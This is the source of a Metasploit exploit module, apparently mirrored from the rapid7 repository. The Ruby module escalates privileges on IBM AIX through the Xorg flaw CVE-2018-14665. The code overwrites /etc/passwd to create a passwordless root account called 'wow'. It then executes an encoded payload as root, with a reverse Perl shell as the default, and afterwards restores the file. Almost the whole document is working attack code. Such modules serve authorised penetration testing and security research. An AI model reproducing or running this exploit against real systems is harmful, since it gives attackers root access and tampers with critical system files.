Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/aix/local/xorg_x11_server.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GreatRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Xorg X11 Server Local Privilege Escalation',
17
'Description' => %q{
18
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
19
20
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
21
22
A permission check flaw exists for -modulepath and -logfile options when
23
starting Xorg. This allows unprivileged users that can start the server
24
the ability to elevate privileges and run arbitrary code under root
25
privileges.
26
27
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
28
Due to permission restrictions of the crontab in AIX, this module does not use cron,
29
and instead overwrites /etc/passwd in order to create a new user with root privileges.
30
All currently logged in users need to be included when /etc/passwd is overwritten,
31
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
32
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
33
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
34
overwriting /etc/passwd.
35
},
36
'Author' => [
37
'Narendra Shinde', # Discovery and original FreeBSD exploit
38
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
39
],
40
'License' => MSF_LICENSE,
41
'DisclosureDate' => '2018-10-25',
42
'Notes' => {
43
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK ],
44
'Reliability' => [ UNRELIABLE_SESSION ],
45
'Stability' => [ CRASH_SERVICE_DOWN ]
46
},
47
'References' => [
48
['CVE', '2018-14665'],
49
['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
50
['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
51
['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
52
['EDB', '45938']
53
],
54
'Platform' => ['unix'],
55
'Arch' => [ARCH_CMD],
56
'SessionTypes' => ['shell'],
57
'Payload' => {
58
'Compat' => {
59
'PayloadType' => 'cmd',
60
'RequiredCmd' => 'perl'
61
}
62
},
63
'DefaultOptions' => {
64
'Payload' => 'cmd/unix/reverse_perl'
65
},
66
'Targets' => [
67
['IBM AIX Version 6.1', {}],
68
['IBM AIX Version 7.1', {}],
69
['IBM AIX Version 7.2', {}]
70
],
71
'DefaultTarget' => 1
72
)
73
)
74
75
register_options(
76
[
77
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
78
]
79
)
80
end
81
82
def check
83
xorg_path = cmd_exec('command -v Xorg')
84
if !xorg_path.include?('Xorg')
85
print_error('Could not find Xorg executable')
86
return Exploit::CheckCode::Safe
87
end
88
89
ksh93_path = cmd_exec('command -v ksh93')
90
if !ksh93_path.include?('ksh')
91
print_error('Could not find Ksh93 executable')
92
return Exploit::CheckCode::Safe
93
end
94
95
if !xorg_vulnerable?
96
print_error('Xorg version is not vulnerable')
97
return Exploit::CheckCode::Safe
98
end
99
100
return Exploit::CheckCode::Appears
101
end
102
103
def exploit
104
status = check
105
106
if status == Exploit::CheckCode::Safe
107
fail_with(Failure::NotVulnerable, '')
108
end
109
110
if !writable?(datastore['WritableDir'])
111
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
112
end
113
114
xorg_path = cmd_exec('command -v Xorg')
115
ksh93_path = cmd_exec('command -v ksh93')
116
117
xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])
118
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
119
upload_and_chmodx(xorg_script_path, xorg_payload)
120
121
passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
122
print_status("Backing up /etc/passwd to #{passwd_backup}")
123
cmd_exec("cp /etc/passwd #{passwd_backup}")
124
register_file_for_cleanup(passwd_backup)
125
126
print_status("Executing #{xorg_script_path}")
127
cmd_exec(xorg_script_path)
128
print_status('Checking if we are root')
129
130
if root?
131
shell_payload = %(#!#{ksh93_path}
132
#{payload.encoded}
133
)
134
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
135
upload_and_chmodx(shell_script_path, shell_payload)
136
137
print_status('Executing shell payload')
138
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
139
140
print_status('Restoring original /etc/passwd')
141
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
142
else
143
fail_with(Failure::PayloadFailed, '')
144
end
145
end
146
147
def generate_xorg_payload(xorg_path, ksh93_path, writabledir)
148
passwd_file = read_file('/etc/passwd')
149
passwd_array = passwd_file.split("\n")
150
151
print_status('Retrieving currently logged in users')
152
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
153
users << "\n"
154
users_array = users.split("\n")
155
156
logged_in_users = ''
157
if !users_array.empty?
158
users_array.each do |user|
159
user << ':'
160
passwd_array.each do |line|
161
if line.index(user) == 0
162
logged_in_users << '\n'
163
logged_in_users << line
164
end
165
end
166
end
167
end
168
169
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
170
171
subdir_count = writabledir.count('/')
172
relative_passwd = '../' * subdir_count + '../../etc/passwd'
173
174
return %(#!#{ksh93_path}
175
#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1
176
)
177
end
178
179
def xorg_vulnerable?
180
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
181
print_status("Xorg version is #{version}")
182
semantic_version = Rex::Version.new(version)
183
184
vulnerable_versions = [
185
['6.1.9.0', '6.1.9.100'],
186
['7.1.4.0', '7.1.4.30'],
187
['7.1.5.0', '7.1.5.31'],
188
['7.2.0.0', '7.2.0.1'],
189
['7.2.1.0', '7.2.1.0'],
190
['7.2.2.0', '7.2.2.0'],
191
['7.2.3.0', '7.2.3.15']
192
]
193
194
vulnerable_versions.each do |version_pair|
195
if semantic_version >= Rex::Version.new(version_pair[0]) &&
196
semantic_version <= Rex::Version.new(version_pair[1])
197
return true
198
end
199
end
200
201
return false
202
end
203
204
def root?
205
id_output = cmd_exec('su - wow -c "id"')
206
207
if id_output.include?('euid=0') || id_output.include?('uid=0')
208
print_good('Got root!')
209
return true
210
end
211
212
print_error('Not root')
213
false
214
end
215
216
def upload_and_chmodx(path, data)
217
print_status("Writing to #{path}")
218
rm_f(path)
219
write_file(path, data)
220
cmd_exec("chmod 0555 '#{path}'")
221
222
register_file_for_cleanup(path)
223
end
224
end
225
226